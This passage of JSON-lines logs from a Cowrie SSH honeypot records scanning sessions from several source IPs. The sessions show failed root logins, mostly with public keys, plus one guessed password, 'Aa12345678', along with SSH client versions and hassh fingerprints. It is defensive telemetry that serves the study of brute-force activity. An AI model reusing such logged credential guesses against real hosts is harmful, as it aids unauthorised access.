failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.352590Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:41:8a:80:63:02:b2:44:9b:df:b3:7b:ea:43:6f:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3HQQqOqgQu+dYaZncly5JeVajTskwjLbnMMXf9f7a/fh5q2T+H147d0PtjQ4sh6v1kR4DA6ruLqcFoi66AWTnr76tqlrnr511emIBSmiQFWIhP12XhCBPv211x2d4cKCmTVSmipVQuBIpy+Hla1Ww2aLnd8oLfnx1IdEywaTFcaohrc0KILXeBzXntIYpi5QinBLbx4drWXdnKp+p0E1L95V1QqBpvaNH8TWvhcv2C8ICG5V0yIdZB+k3xos3uN4DOQ6emL8e5LIDNV1QE0oOsSOXnpeTnGL3IbGcerEzZm3H8XL4L1IuD/rIpO+U8vmx4/oBL6xX4iKXbuPvnSAp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:41:8a:80:63:02:b2:44:9b:df:b3:7b:ea:43:6f:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.399296Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:41:8a:80:63:02:b2:44:9b:df:b3:7b:ea:43:6f:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3HQQqOqgQu+dYaZncly5JeVajTskwjLbnMMXf9f7a/fh5q2T+H147d0PtjQ4sh6v1kR4DA6ruLqcFoi66AWTnr76tqlrnr511emIBSmiQFWIhP12XhCBPv211x2d4cKCmTVSmipVQuBIpy+Hla1Ww2aLnd8oLfnx1IdEywaTFcaohrc0KILXeBzXntIYpi5QinBLbx4drWXdnKp+p0E1L95V1QqBpvaNH8TWvhcv2C8ICG5V0yIdZB+k3xos3uN4DOQ6emL8e5LIDNV1QE0oOsSOXnpeTnGL3IbGcerEzZm3H8XL4L1IuD/rIpO+U8vmx4/oBL6xX4iKXbuPvnSAp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.406462Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:44:34:fb:c3:ca:56:7f:fa:64:7f:5b:93:a0:72:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDQgCxowLgozw0GxvCgdZH9f+Wvpr6CZPjcNV77cPm+BENjZBrDouA06gmRYXc2ANQBxLj0h/iUdQWkQ10/4eLuQx91LbwBWHQ0WSwYwRhWCHo8FdCXcAJ14fEwrXXDbEf2IlD2KcFhRCt91c0oLkc15oCauy3MHC2D+VfwwfGzbFBA5HuStjCh3s4CAzgfeKgeigCMWha4tb5J5Ths6mGzbYugkMKs3+fFn8RZ14jy++RYiSCbhbTtjDWYSocca+Ghy48M64lFpwLXx3VvaOTdR5STT91JMfboLS6AP4O6IvXhK3PppFF7DelIIb5gqUUM25lgsukF3C+5jAMMDl57DYCl+PZYIFywyHrReCBS89+C+cl1E0OD9UiwG5tGgbPqKJdmyIF+tg8ZqcM0BNTs9SAdqAaZi/2So1ugdv/g/bxlowt4Onw3aTYo65HO0muWMNe2zXdCoFzYU/rIY50D2kNaUyQ8MTrxN5kWBmk31g1BSlWVWebsRs9Ee/Btn8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:44:34:fb:c3:ca:56:7f:fa:64:7f:5b:93:a0:72:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.452850Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:44:34:fb:c3:ca:56:7f:fa:64:7f:5b:93:a0:72:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDQgCxowLgozw0GxvCgdZH9f+Wvpr6CZPjcNV77cPm+BENjZBrDouA06gmRYXc2ANQBxLj0h/iUdQWkQ10/4eLuQx91LbwBWHQ0WSwYwRhWCHo8FdCXcAJ14fEwrXXDbEf2IlD2KcFhRCt91c0oLkc15oCauy3MHC2D+VfwwfGzbFBA5HuStjCh3s4CAzgfeKgeigCMWha4tb5J5Ths6mGzbYugkMKs3+fFn8RZ14jy++RYiSCbhbTtjDWYSocca+Ghy48M64lFpwLXx3VvaOTdR5STT91JMfboLS6AP4O6IvXhK3PppFF7DelIIb5gqUUM25lgsukF3C+5jAMMDl57DYCl+PZYIFywyHrReCBS89+C+cl1E0OD9UiwG5tGgbPqKJdmyIF+tg8ZqcM0BNTs9SAdqAaZi/2So1ugdv/g/bxlowt4Onw3aTYo65HO0muWMNe2zXdCoFzYU/rIY50D2kNaUyQ8MTrxN5kWBmk31g1BSlWVWebsRs9Ee/Btn8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.457996Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:4e:5d:d2:41:1a:5f:cb:9e:d7:46:80:02:ac:59:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgbNy3mfFtASNHa1mULROzTSgLxN0jH8e+DGGIHypTeQRog27IFTaOD2dYR9ZRKjGvyjqmTA5S+ws0Npx9iUOZ3RnwJcheamUdctnYYm5JUKE9SuolOrxPdJeJm2i4L4Dp0XTJharM7vTvzprf20QxvxmaJ48UO2hZHPPHT4ZkEQFEYRjK3ACx5V5ndcMVkH3B7pVKQ8sZrR2XxfXZIatAx5QVEYNsar52g8VeAwJjPUqt41parDeZwvDnXF54dO1hZbpfTGjd3JbKCSs0uh0jD9iSDrFQWCbaDT2m9ZOQpHfGiraf17c32OY8lvJQwn4FqONNSO0tLqJ9wIf02YaBo0A5guZUlehw+X4G2Je1K/iPXcjWtln8rhcnyEF5SYHbGXnOexxx3iGkEcLQRv19/ZJQ8DAYaGImHXr41C+ub04l+PSB8ogyTx0PHn29PtF/bZspv9PQZUkWiwENKuaVEGWwyoINvy0Gm4KXaWlSszMG7DK6hJAMHV0BRjYQbS+K2hnsJU2Bfq2C+tbTLpuwMG21zuT2ty8Rx2ugOQfxoQxwyhYpK5S7lBEm48zBz9HOLSylPKL0KrRr+WeoD2h6egkz4DNeXhz/0CWI5ocQYseejuDEii0sudf1ulV2CoSYseiM8enOXHS2A1Ih/GcWwYAT2gpUrtBnDgXs2kUlyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:4e:5d:d2:41:1a:5f:cb:9e:d7:46:80:02:ac:59:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.508700Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:4e:5d:d2:41:1a:5f:cb:9e:d7:46:80:02:ac:59:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgbNy3mfFtASNHa1mULROzTSgLxN0jH8e+DGGIHypTeQRog27IFTaOD2dYR9ZRKjGvyjqmTA5S+ws0Npx9iUOZ3RnwJcheamUdctnYYm5JUKE9SuolOrxPdJeJm2i4L4Dp0XTJharM7vTvzprf20QxvxmaJ48UO2hZHPPHT4ZkEQFEYRjK3ACx5V5ndcMVkH3B7pVKQ8sZrR2XxfXZIatAx5QVEYNsar52g8VeAwJjPUqt41parDeZwvDnXF54dO1hZbpfTGjd3JbKCSs0uh0jD9iSDrFQWCbaDT2m9ZOQpHfGiraf17c32OY8lvJQwn4FqONNSO0tLqJ9wIf02YaBo0A5guZUlehw+X4G2Je1K/iPXcjWtln8rhcnyEF5SYHbGXnOexxx3iGkEcLQRv19/ZJQ8DAYaGImHXr41C+ub04l+PSB8ogyTx0PHn29PtF/bZspv9PQZUkWiwENKuaVEGWwyoINvy0Gm4KXaWlSszMG7DK6hJAMHV0BRjYQbS+K2hnsJU2Bfq2C+tbTLpuwMG21zuT2ty8Rx2ugOQfxoQxwyhYpK5S7lBEm48zBz9HOLSylPKL0KrRr+WeoD2h6egkz4DNeXhz/0CWI5ocQYseejuDEii0sudf1ulV2CoSYseiM8enOXHS2A1Ih/GcWwYAT2gpUrtBnDgXs2kUlyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.512820Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.558833Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":48450,"dst_ip":"10.17.0.5","dst_port":22,"session":"f51069613ab4","protocol":"ssh","message":"New connection: 103.15.226.202:48450 (10.17.0.5:22) [session: f51069613ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:18.525896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:18.530970Z","src_ip":"103.15.226.202","session":"f51069613ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:18.778972Z","src_ip":"103.15.226.202","session":"f51069613ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa12345678","message":"login attempt [root/Aa12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:19.513287Z","src_ip":"103.15.226.202","session":"f51069613ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:20.760290Z","src_ip":"103.15.226.202","session":"f51069613ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.58.144.12","src_port":48478,"dst_ip":"10.17.0.5","dst_port":22,"session":"05a1583f436a","protocol":"ssh","message":"New connection: 31.58.144.12:48478 (10.17.0.5:22) [session: 05a1583f436a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:25.805662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:25.810352Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:25.920782Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:c1:e3:f5:d5:7c:31:56:75:c0:d3:43:da:36:f5:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5JxQw/9Mo1uNAcEvqdYtWXnf8flgYGuWNNxkEWr9Y6MicDG6URawXVU7ebCeNaNVhj8TvJzyxiUL1UU8xCRjDIxQIoRg3HiFGWrIsWNtH+iw4sr8tHglEHQF4aOoE6vaAsuN09Q5R5BaVDWij83DedN2zPSd2DtprWEDZ3vmMbReCeF276Z65UcD0I/997VQ9UG4gv3iearAXdiAvZ39ECwtKYOMmtl5yVNt5JKSffkCL9blZHgavty/V9FG+5Al0YK07Qq4PA1JL7wlkh0exPGE7E7H9Bs/YvBu1cGIqbUBmC9hLLMI/vMhpkDE4BEfdBY/q1zn+CjksKHqt4sxj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:c1:e3:f5:d5:7c:31:56:75:c0:d3:43:da:36:f5:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:26.376541Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:c1:e3:f5:d5:7c:31:56:75:c0:d3:43:da:36:f5:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5JxQw/9Mo1uNAcEvqdYtWXnf8flgYGuWNNxkEWr9Y6MicDG6URawXVU7ebCeNaNVhj8TvJzyxiUL1UU8xCRjDIxQIoRg3HiFGWrIsWNtH+iw4sr8tHglEHQF4aOoE6vaAsuN09Q5R5BaVDWij83DedN2zPSd2DtprWEDZ3vmMbReCeF276Z65UcD0I/997VQ9UG4gv3iearAXdiAvZ39ECwtKYOMmtl5yVNt5JKSffkCL9blZHgavty/V9FG+5Al0YK07Qq4PA1JL7wlkh0exPGE7E7H9Bs/YvBu1cGIqbUBmC9hLLMI/vMhpkDE4BEfdBY/q1zn+CjksKHqt4sxj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:26.380399Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:f6:fc:30:74:50:bc:62:bf:f0:12:01:fa:80:0a:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDq3bnAXI2FBPWEAfJuT50fSoneRbnJzIT85U9p7rZrlHzqrSYD5j/Sq/ZFGRXIf2ZL0/uhKrlZT1a3nAH5327nvFnMoHL81OFeTs6dpMFfVM9UO03gKkd7efG6oxusbrkAiNs4QaG5FSL4VhiIO1sIjhvbxtmL48GdxrAm1wQguQ+gM/8gDPCFysPMkL8oVbKlVx2BDBPTWwJpe/8MZCnVea++6imXgeW049bHhoLkxu/bu3pX71abAAmTFGGjoRVjF7ABmB1YZ4OxNFtjbqqALQMZ6cBRgWpa5vP/jka2JLLyqc2QBYpVLM5Nz6nFHMCN9v99pR/Mjg6IAnKNN6G+5SJg4zLZI21BSSrlKflA4w1HP+HUmM0PfOANBeRC7vf6ifb444AK/2BHVHYI/79wGXGDWhXrRhyNAAVpSqz4GEtW/UEXkE5h8WVHKr6f0YcJsJeEFBp3iJ23IFu92Rb/Ov2VB4qyCROox+VPaKrZO2Bs1Y3ty58ub/owhJsiaYM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:f6:fc:30:74:50:bc:62:bf:f0:12:01:fa:80:0a:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:26.477809Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:f6:fc:30:74:50:bc:62:bf:f0:12:01:fa:80:0a:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDq3bnAXI2FBPWEAfJuT50fSoneRbnJzIT85U9p7rZrlHzqrSYD5j/Sq/ZFGRXIf2ZL0/uhKrlZT1a3nAH5327nvFnMoHL81OFeTs6dpMFfVM9UO03gKkd7efG6oxusbrkAiNs4QaG5FSL4VhiIO1sIjhvbxtmL48GdxrAm1wQguQ+gM/8gDPCFysPMkL8oVbKlVx2BDBPTWwJpe/8MZCnVea++6imXgeW049bHhoLkxu/bu3pX71abAAmTFGGjoRVjF7ABmB1YZ4OxNFtjbqqALQMZ6cBRgWpa5vP/jka2JLLyqc2QBYpVLM5Nz6nFHMCN9v99pR/Mjg6IAnKNN6G+5SJg4zLZI21BSSrlKflA4w1HP+HUmM0PfOANBeRC7vf6ifb444AK/2BHVHYI/79wGXGDWhXrRhyNAAVpSqz4GEtW/UEXkE5h8WVHKr6f0YcJsJeEFBp3iJ23IFu92Rb/Ov2VB4qyCROox+VPaKrZO2Bs1Y3ty58ub/owhJsiaYM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:26.482846Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:a5:7d:48:fe:2a:2e:8e:c4:08:16:8c:fa:b1:d0:7e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAK45VkxXC22WpcZSVtLIIQr1m9n/qiznfLOZnpu7bRHe7BtZrSwRrt8r8MRSnECJw0+rDIhh0862+8xqgLHnIwalORGlRQiv6kGERkBgrawsF1CpEi9sYkJxuCoIgxv4mxdDWJ0luujAyxSf/g18DPd9MVHFMKlbt7XLyrziQ7kpAAAAFQDz6E7aL2nK3hwBw8BbIUzN5xmSsQAAAIEAhXaO/7WKblpkrfdJEJBLd1/ha3ExMbAkr4RPt74C5YM3aWdHkrINiMyUnMNiqdnfbjcY1yOa/SE+mRhwiTPbPN0bZNd8DxvOEcdKfLS6ydZxUCiGawzXDlJKORzzDGCDwwNe/K6axRvyBpTxcpexh+teZ7/2FHW25yJvK4wj93EAAACACrYdj9YrP7nL7te1uqvCDkTuKJ6pVRDC9/zVZ0htnOjLWRvRXkorYvrNCwD+BwyTpu0mpyQRziuIHQtkZ+VjVZKimT4kZaSMiLH1pCPkCgQNM1G+pK9Pfamd563FbLc+9WKRLIrLYAjoRe/m1DHO/Z/0cb6RU+FUrbdwlEilIk8=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 53:a5:7d:48:fe:2a:2e:8e:c4:08:16:8c:fa:b1:d0:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:26.586022Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:a5:7d:48:fe:2a:2e:8e:c4:08:16:8c:fa:b1:d0:7e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAK45VkxXC22WpcZSVtLIIQr1m9n/qiznfLOZnpu7bRHe7BtZrSwRrt8r8MRSnECJw0+rDIhh0862+8xqgLHnIwalORGlRQiv6kGERkBgrawsF1CpEi9sYkJxuCoIgxv4mxdDWJ0luujAyxSf/g18DPd9MVHFMKlbt7XLyrziQ7kpAAAAFQDz6E7aL2nK3hwBw8BbIUzN5xmSsQAAAIEAhXaO/7WKblpkrfdJEJBLd1/ha3ExMbAkr4RPt74C5YM3aWdHkrINiMyUnMNiqdnfbjcY1yOa/SE+mRhwiTPbPN0bZNd8DxvOEcdKfLS6ydZxUCiGawzXDlJKORzzDGCDwwNe/K6axRvyBpTxcpexh+teZ7/2FHW25yJvK4wj93EAAACACrYdj9YrP7nL7te1uqvCDkTuKJ6pVRDC9/zVZ0htnOjLWRvRXkorYvrNCwD+BwyTpu0mpyQRziuIHQtkZ+VjVZKimT4kZaSMiLH1pCPkCgQNM1G+pK9Pfamd563FbLc+9WKRLIrLYAjoRe/m1DHO/Z/0cb6RU+FUrbdwlEilIk8=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:26.590059Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:88:c3:cc:02:4d:55:6b:b2:3c:7b:ac:98:9c:47:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrPrDi9HwyCY/ROULV4FFjbGiFvw9RZEIZnkQF7y/ULR/X0Iju8QxHKno2RttphXhy3vt8G3TBpkMwgdS8jAFVUI9ro/b/6vLtGVBOl9x7pqd24I6F1OV6wFEFZZOhPEo9Uw8uM0B/ldQXfbi9MLFfdvUe8VgJAGfi3OQBXkGyFhJIt4IdbO5uRjwpWtI5SG7HSky+zPWsJMW6cd0D+jx7nxn4iWKinM8L0z8iBpHzfna/C+ljR3P8sKf4DiPFTHAzUVcYAPCpY+XwImhmKmhBAFCLWA8K61e7HhBSyBhtYLV/IVApBMaSF73EBTuBPNlSDXXowC4KfyBKau15KRjx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:88:c3:cc:02:4d:55:6b:b2:3c:7b:ac:98:9c:47:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:26.686967Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:88:c3:cc:02:4d:55:6b:b2:3c:7b:ac:98:9c:47:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrPrDi9HwyCY/ROULV4FFjbGiFvw9RZEIZnkQF7y/ULR/X0Iju8QxHKno2RttphXhy3vt8G3TBpkMwgdS8jAFVUI9ro/b/6vLtGVBOl9x7pqd24I6F1OV6wFEFZZOhPEo9Uw8uM0B/ldQXfbi9MLFfdvUe8VgJAGfi3OQBXkGyFhJIt4IdbO5uRjwpWtI5SG7HSky+zPWsJMW6cd0D+jx7nxn4iWKinM8L0z8iBpHzfna/C+ljR3P8sKf4DiPFTHAzUVcYAPCpY+XwImhmKmhBAFCLWA8K61e7HhBSyBhtYLV/IVApBMaSF73EBTuBPNlSDXXowC4KfyBKau15KRjx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:26.690650Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:fd:69:a3:1f:6e:01:98:d1:0d:c2:45:fd:6c:0f:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAJ/MY1n8HYPYYhHPFtlJKH3ZMZIh6sTC5RC3gwcXDQc6sNLDmkkgUu/weuRkEa1+RaAgbcYgCd7xlHo7bslTt7ArYBfMh4xxqHmE2Hp2OaO2H9AJYf7d8C5zTLJwDALezxgKDn6gqFs3oWz4wfEaUBxjii1egchtiIBDr7gSPRQKDCu0W9lOWoSZdRA+ynHsunSQVIWY6rYnHa52zmdLJiicg8l6KPTlIoji7X9vR3VbmsUYMLStpNdR1zQWp3xDP/dJktMOcx1h6U+ejhZNbmn+W46QOhQeWm6aJIc+8JHCZy3ppU4bsUEanZtUdzQHE7mnRcKYZ0+pv9reX58fp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:fd:69:a3:1f:6e:01:98:d1:0d:c2:45:fd:6c:0f:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:26.783010Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
